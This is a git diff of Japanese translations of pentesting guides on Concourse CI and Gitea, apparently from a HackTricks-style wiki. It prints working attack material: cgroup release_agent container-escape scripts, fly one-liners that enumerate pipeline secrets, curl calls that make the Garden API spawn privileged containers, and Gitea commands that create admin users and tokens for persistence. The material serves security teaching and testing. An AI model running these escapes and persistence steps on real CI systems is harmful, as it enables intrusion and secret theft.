チームのビューワーはチームとそのパイプラインに **「読み取り専用」アクセス**を持っています。 +- **pipeline-operator**: パイプラインオペレーターはビルドのトリガーやリソースのピン留めなどの **パイプライン操作**を実行できますが、パイプライン設定を更新することはできません。 +- **viewer**: チームのビューワーはチームとそのパイプラインに対して **「読み取り専用」アクセス**を持っています。 > [!NOTE] -> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで変更できます(具体的にはそのアクションを構成します)。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。 +> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで **変更可能です**(具体的にはそのアクションを構成します)。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。 Concourse は **チーム内にパイプラインをグループ化**します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、**複数のチーム**が存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。 @@ -23,7 +23,7 @@ Concourse は **チーム内にパイプラインをグループ化**します YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文を使用して値を構成できます。\ [ドキュメントから:](https://concourse-ci.org/vars.html#var-syntax) **source-name はオプション**であり、省略した場合は [クラスター全体の資格情報マネージャー](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) が使用されるか、値が [静的に提供される](https://concourse-ci.org/vars.html#static-vars)場合があります。\ -**オプションの \_secret-field**\_ は、取得したシークレットから読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\ +**オプションの \_secret-field**\_ は取得した秘密のフィールドを読み取るために指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\ さらに、_**secret-path**_ と _**secret-field**_ は、`。` や `:` のような **特殊文字**を含む場合、二重引用符 `"..."` で囲むことができます。たとえば、`((source:"my.secret"."field:1"))` は _secret-path_ を `my.secret` に、_secret-field_ を `field:1` に設定します。 #### 静的変数 @@ -34,17 +34,17 @@ YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or using the following `fly` **arguments**: +以下の `fly` **引数**を使用します: -- `-v` or `--var` `NAME=VALUE` は、文字列 `VALUE` を var `NAME` の値として設定します。 -- `-y` or `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、var `NAME` の値として設定します。 -- `-i` or `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス var `NAME` の値として設定します。インスタンス var について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。 -- `-l` or `--load-vars-from` `FILE` は、var 名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。 +- `-v` または `--var` `NAME=VALUE` は、文字列 `VALUE` を変数 `NAME` の値として設定します。 +- `-y` または `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、変数 `NAME` の値として設定します。 +- `-i` または `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス変数 `NAME` の値として設定します。インスタンス変数について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。 +- `-l` または `--load-vars-from` `FILE` は、変数名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。 -#### Credential Management +#### 認証情報管理 パイプラインで **Credential Manager を指定する方法** はいくつかあります。詳細は [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) をお読みください。\ -さらに、Concourse は異なる Credential Manager をサポートしています: +さらに、Concourse は異なる認証情報マネージャーをサポートしています: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) @@ -57,13 +57,13 @@ Or using the following `fly` **arguments**: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Concourse に対して何らかの **書き込みアクセス** がある場合、**それらの秘密を外部に持ち出す** ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。 +> **Concourse** に対して何らかの **書き込みアクセス** がある場合、ジョブを作成して **それらの秘密を流出させる** ことができることに注意してください。 -### Concourse Enumeration +### Concourse 列挙 -Concourse 環境を列挙するには、まず **有効な資格情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークンを見つける** 必要があります。 +Concourse 環境を列挙するには、まず **有効な認証情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークン** を見つける必要があります。 -#### Login and Current User enum +#### ログインと現在のユーザー列挙 - ログインするには、**エンドポイント**、**チーム名**(デフォルトは `main`)、および **ユーザーが所属するチーム** を知っている必要があります: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` @@ -75,9 +75,9 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集 - `fly -t userinfo` > [!NOTE] -> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに資格情報が見つかる可能性があります。 +> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに認証情報が見つかる可能性があります。 -#### Teams & Users +#### チームとユーザー - チームのリストを取得: - `fly -t teams` @@ -86,7 +86,7 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集 - ユーザーのリストを取得: - `fly -t active-users` -#### Pipelines +#### パイプライン - **パイプラインのリスト**: - `fly -t pipelines -a` @@ -94,7 +94,7 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集 - `fly -t get-pipeline -p ` - すべてのパイプライン **設定された変数** を取得: - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- 使用されているすべての **パイプラインの秘密の名前** を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、外部に持ち出すことができます): +- 使用されているすべての **パイプラインの秘密の名前** を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、流出させることができます): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -137,7 +137,7 @@ fly -t tutorial intercept # To be presented a prompt with all the options これらの権限があれば、次のことができるかもしれません: - **コンテナ**内の**秘密**を**盗む** -- **ノード**に**脱出**しようとする +- **ノード**に**エスケープ**しようとする - **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば) #### パイプラインの作成/変更 @@ -168,8 +168,8 @@ SUPER_SECRET: ((super.secret)) ``` 新しいパイプラインの**変更/作成**により、次のことが可能になります: -- **秘密**を**盗む**(エコー出力するか、コンテナ内に入り`env`を実行することで) -- **ノード**に**脱出**する(十分な権限を与えることで - `privileged: true`) +- **秘密**を**盗む**(それらをエコー出力するか、コンテナ内に入り`env`を実行することで) +- **ノード**に**エスケープ**する(十分な権限を与えることで - `privileged: true`) - **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから) - 作成したパイプラインを**削除**する @@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml 前のセクションでは、**concourseで特権タスクを実行する方法**を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープはより「複雑」になる可能性があります。 -次のPoCでは、リリースエージェントを使用して、いくつかの小さな変更を加えてエスケープします: +次のPoCでは、いくつかの小さな修正を加えてrelease_agentを使用してエスケープします: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> ご覧の通り、これは単なる [**通常の release_agent エスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) であり、ノード内の cmd のパスを変更するだけです。 +> ご覧の通り、これは単なる[**通常のrelease_agentエスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)であり、ノード内のcmdのパスを変更するだけです。 -#### ワーカーコンテナからノードへのエスケープ +#### Workerコンテナからノードへのエスケープ -このためには、わずかな修正を加えた通常の release_agent エスケープで十分です: +このためには、わずかな修正を加えた通常のrelease_agentエスケープで十分です: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -293,9 +293,9 @@ cat /output ``` #### Webコンテナからノードへのエスケープ -ウェブコンテナにいくつかの防御が無効になっていても、それは**一般的な特権コンテナとして実行されていません**(例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です)。 +Webコンテナにいくつかの防御が無効になっていても、**一般的な特権コンテナとして実行されていません**(例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です)。 -しかし、**ローカルの資格情報を平文で保存しています**: +しかし、**ローカルの資格情報が平文で保存されています**: ```bash cat /concourse-auth/local-users test:test @@ -304,7 +304,7 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -その資格情報を使用して、**ウェブサーバーにログイン**し、**特権コンテナを作成してノードに脱出**することができます。 +その資格情報を使用して**ウェブサーバーにログイン**し、**特権コンテナを作成してノードにエスケープ**することができます。 環境内では、concourseが使用する**postgresql**インスタンスにアクセスするための情報(アドレス、**ユーザー名**、**パスワード**、およびデータベースなどの情報)も見つけることができます。 ```bash @@ -332,12 +332,12 @@ select * from users; > [!WARNING] > これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。 -デフォルトでは、各コンコースワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、ウェブマスターがワーカーに**実行する必要があること**(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります: +デフォルトでは、各concourseワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、Webマスターがワーカーに**実行する必要があること**(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります: -- それは**ローカルにのみ公開されています**(127..0.0.1)し、ワーカーが特別なSSHサービスでウェブに対して認証されるとき、トンネルが作成され、ウェブサーバーが各ワーカー内の**各Gardenサービス**と**通信できる**ようになります。 -- ウェブサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、ウェブサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。 +- それは**ローカルにのみ公開されています**(127..0.0.1)し、ワーカーが特別なSSHサービスでWebに対して認証するときに、各ワーカー内の各Gardenサービスと**通信するためのトンネル**が作成されると思います。 +- Webサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、Webサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。 -コンコースワーカーは高いコンテナ特権で実行されます: +Concourseワーカーは高いコンテナ特権で実行されます: ``` Container Runtime: docker Has Namespaces: @@ -348,10 +348,10 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -しかし、ノードの /dev デバイスや release_agent を **マウント**するような技術は **機能しません**(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。 +しかし、ノードの/devデバイスやrelease_agentを**マウント**するような技術は**機能しません**(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。 > [!NOTE] -> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された **特権コンテナ** でコマンドを **実行**できる場合、**ノードに脱出**できる可能性があります。 +> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された**特権コンテナ**でコマンドを**実行**できる場合、**ノードに脱出**できる可能性があります。 concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。 @@ -376,7 +376,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **新しい特権コンテナの作成** -ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます: +ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 6aad9d1ff..d114ac92a 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -13,11 +13,11 @@ wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` -`fly`コマンドラインをあなたのOS用にウェブから`127.0.0.1:8080`でダウンロードできます。 +コマンドライン `fly` をあなたのOS用にウェブから `127.0.0.1:8080` でダウンロードできます。 #### Kubernetesを使用して(推奨) -**Kubernetes**(例えば**minikube**)に簡単にconcourseをデプロイするには、helm-chartを使用します: [**concourse-chart**](https://github.com/concourse/concourse-chart)。 +**Kubernetes**(例えば**minikube**)でhelm-chartを使用してconcourseを簡単にデプロイできます: [**concourse-chart**](https://github.com/concourse/concourse-chart)。 ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -concourse envを生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます: +concourse環境を生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -69,7 +69,7 @@ secret: MWYyZDFlMmU2N2Rm ``` ### パイプラインの作成 -パイプラインは、順序付きの[ステップ](https://concourse-ci.org/steps.html)のリストを含む[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。 +パイプラインは、順序付きの[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。 ### ステップ @@ -79,13 +79,13 @@ secret: MWYyZDFlMmU2N2Rm - the [`get` step](https://concourse-ci.org/get-step.html) は [resource](https://concourse-ci.org/resources.html) を取得します - the [`put` step](https://concourse-ci.org/put-step.html) は [resource](https://concourse-ci.org/resources.html) を更新します - the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) は [pipeline](https://concourse-ci.org/pipelines.html) を構成します -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は値を [local var](https://concourse-ci.org/vars.html#local-vars) にロードします +- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は [local var](https://concourse-ci.org/vars.html#local-vars) に値をロードします - the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) はステップを並行して実行します - the [`do` step](https://concourse-ci.org/do-step.html) はステップを順番に実行します -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します;変数の値の組み合わせごとに1回実行します +- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します;変数の値の組み合わせごとに1回 - the [`try` step](https://concourse-ci.org/try-step.html) はステップを実行しようとし、ステップが失敗しても成功します -各[ステップ](https://concourse-ci.org/steps.html)は[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。 +各[ステップ](https://concourse-ci.org/steps.html)は、[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。 したがって、各ステップが実行される必要があるコンテナのタイプを指定することが可能です。 @@ -123,7 +123,7 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` -**127.0.0.1:8080** にアクセスして、パイプラインのフローを確認してください。 +**127.0.0.1:8080** にアクセスしてパイプラインのフローを確認してください。 ### 出力/入力パイプラインを持つBashスクリプト diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 119be7b15..8d161d88c 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,4 +1,4 @@ -# Gitea Security +# Giteaのセキュリティ {{#include ../../banners/hacktricks-training.md}} @@ -16,13 +16,13 @@ basic-gitea-information.md ## ラボ -Giteaインスタンスをローカルで実行するには、単にdockerコンテナを実行するだけです: +ローカルでGiteaインスタンスを実行するには、単にdockerコンテナを実行するだけです: ```bash docker run -p 3000:3000 gitea/gitea ``` ポート3000に接続してウェブページにアクセスします。 -Kubernetesで実行することもできます: +Kubernetesで実行することもできます: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea @@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea - 登録ユーザー: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) - 登録組織: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに対して特に興味深いアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。 +デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに特別なアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。 ## 内部悪用 @@ -41,7 +41,7 @@ helm install gitea gitea-charts/gitea ### ユーザー資格情報/ウェブクッキーを使用して -もしあなたが組織内のユーザーの資格情報を何らかの方法で持っている場合(またはセッションクッキーを盗んだ場合)、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。** +もしあなたが組織内のユーザーの資格情報を持っている場合(またはセッションクッキーを盗んだ場合)、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。** **2FAが使用される可能性がある**ため、そのチェックを**通過できる**場合にのみ、この情報にアクセスできることに注意してください。 @@ -52,64 +52,64 @@ helm install gitea gitea-charts/gitea Giteaは**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます(2FAは適用されません)。 -このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます: +このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます。 ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -ユーザーが自分のgiteaユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 +ユーザーが自分の gitea ユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 -**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が鍵に関連する情報を提供します。 +**SSH 鍵** は **デプロイ鍵** としてリポジトリに設定することもできます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。 -#### GPG鍵 +#### GPG 鍵 -[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 +[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 現在のユーザーが鍵を持っているかどうかをローカルで確認してください: ```shell gpg --list-secret-keys --keyid-format=long ``` -### With User Token +### ユーザートークンを使用して -[**ユーザートークンについての基本情報を確認してください**](basic-gitea-information.md#personal-access-tokens)の紹介。 +[**ユーザートークンの基本情報については、こちらを確認してください**](basic-gitea-information.md#personal-access-tokens) 。 -ユーザートークンは、Giteaサーバーに**対して認証するために**、**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス権**を持ちます。 +ユーザートークンは、Giteaサーバーに対して**認証**するために**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス**を持ちます。 -### With Oauth Application +### Oauthアプリケーションを使用して -[**Gitea Oauthアプリケーションについての基本情報を確認してください**](./#with-oauth-application)の紹介。 +[**Gitea Oauthアプリケーションの基本情報については、こちらを確認してください**](./#with-oauth-application) 。 -攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスするかもしれません。 +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データやアクションにアクセスするかもしれません。 -基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス権**を持ちます。 +基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス**を持ちます。 -### Branch Protection Bypass +### ブランチ保護のバイパス -Githubには、デフォルトでリポジトリに**書き込みアクセス権を持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護を回避**できます。この場合、**存在しない**ため、回避策はより制限されます。しかし、何ができるか見てみましょう: +Githubには、デフォルトでリポジトリに対して**書き込みアクセスを持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護をバイパス**できます。この場合は**存在しない**ため、バイパスはより制限されます。しかし、何ができるか見てみましょう: -- **プッシュを有効にする**: 書き込みアクセス権を持つ誰かがブランチにプッシュできる場合、単にプッシュします。 +- **プッシュを有効にする**: 書き込みアクセスを持つ誰かがブランチにプッシュできる場合は、単にプッシュします。 - **制限されたプッシュをホワイトリストに追加**: 同様に、このリストの一部であればブランチにプッシュします。 -- **マージホワイトリストを有効にする**: マージホワイトリストがある場合、その中にいる必要があります。 -- **承認が0より大きいことを要求**: それなら...別のユーザーを妥協させる必要があります。 -- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合...そのリストにいる別のユーザーを妥協させる必要があります。 -- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージできます。 +- **マージホワイトリストを有効にする**: マージホワイトリストがある場合は、その中にいる必要があります。 +- **承認が0より大きいことを要求**: その場合... 別のユーザーを妥協させる必要があります。 +- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合... そのリストにいる別のユーザーを妥協させる必要があります。 +- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージすることができます。 -**あなたが組織/リポジトリの管理者である場合**、保護を回避できることに注意してください。 +**あなたがorg/repoの管理者である場合**、保護をバイパスできることに注意してください。 -### Enumerate Webhooks +### ウェブフックの列挙 -**Webhooks**は、**特定のgitea情報をいくつかの場所に送信することができます**。その通信を**悪用できるかもしれません**。\ -しかし、通常、**秘密**は**webhook**に設定されており、URLを知っている外部ユーザーが**そのwebhookを悪用するのを防ぎます**。\ +**ウェブフック**は、**特定のgitea情報をいくつかの場所に送信する**ことができます。その通信を**悪用する**ことができるかもしれません。\ +ただし、通常、**秘密**が**ウェブフック**に設定されており、URLを知っている外部ユーザーがその秘密を知らない場合、**そのウェブフックを悪用することを防ぎます**。\ しかし、時には、秘密をその場所に設定する代わりに、**URLにパラメータとして設定する**人もいるため、**URLを確認することで**秘密や他の悪用できる場所を**見つけることができるかもしれません**。 -Webhooksは**リポジトリと組織レベル**で設定できます。 +ウェブフックは**リポジトリと組織レベル**で設定できます。 -## Post Exploitation +## ポストエクスプロイテーション -### Inside the server +### サーバー内 -もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは`/data/gitea/conf/app.ini`にあります。 +もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは、`/data/gitea/conf/app.ini`にあります。 このファイルには**キー**や**パスワード**が含まれています。 @@ -117,13 +117,13 @@ giteaのパス(デフォルト:/data/gitea)には、次のような興味 - **sqlite** DB: giteaが外部DBを使用していない場合、sqlite DBを使用します。 - **セッション**フォルダー内の**セッション**: `cat sessions/*/*/*`を実行すると、ログインしているユーザーのユーザー名を見ることができます(giteaはDB内にセッションを保存することもあります)。 -- **jwtフォルダー内のjwtプライベートキー** -- このフォルダー内にはさらに**機密情報**が見つかる可能性があります。 +- **jwtプライベートキー**がjwtフォルダー内にあります。 +- このフォルダーにはさらに**機密情報**が見つかる可能性があります。 -サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更できます**: +サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更することもできます**: - `gitea dump`はgiteaをダンプし、.zipファイルを生成します。 -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は指定されたタイプのトークンを生成します(永続性)。 +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は、指定されたタイプのトークンを生成します(永続性)。 - `gitea admin user change-password --username admin --password newpassword` パスワードを変更します。 - `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 新しい管理ユーザーを作成し、アクセストークンを取得します。 diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e13f375d6..697940baf 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,10 +1,10 @@ -# Basic Gitea Information +# 基本的なGitea情報 {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## 基本構造 -基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織の外にリポジトリを持つことができます。 +基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織外にリポジトリを持つことができます。 さらに、**ユーザー**は**異なる組織のメンバー**であることができます。組織内では、ユーザーは**各リポジトリに対して異なる権限**を持つことがあります。 @@ -12,11 +12,11 @@ 最後に、**リポジトリには特別な保護メカニズム**がある場合があります。 -## Permissions +## 権限 -### Organizations +### 組織 -**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーがその中に入れられます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。 +**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーはその中に配置されます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。 **Org admins**(オーナー)は、組織の**可視性**を選択できます: @@ -24,68 +24,68 @@ - 限定(ログインユーザーのみ) - 非公開(メンバーのみ) -**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を示すこともできます。 +**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を指定することもできます。 新しいチームを作成する際には、いくつかの重要な設定が選択されます: -- チームのメンバーがアクセスできる**組織のリポジトリ**が示されます:特定のリポジトリ(チームが追加されたリポジトリ)またはすべて。 -- **メンバーが新しいリポジトリを作成できるかどうか**も示されます(作成者はそのリポジトリに管理者アクセスを得ます)。 +- 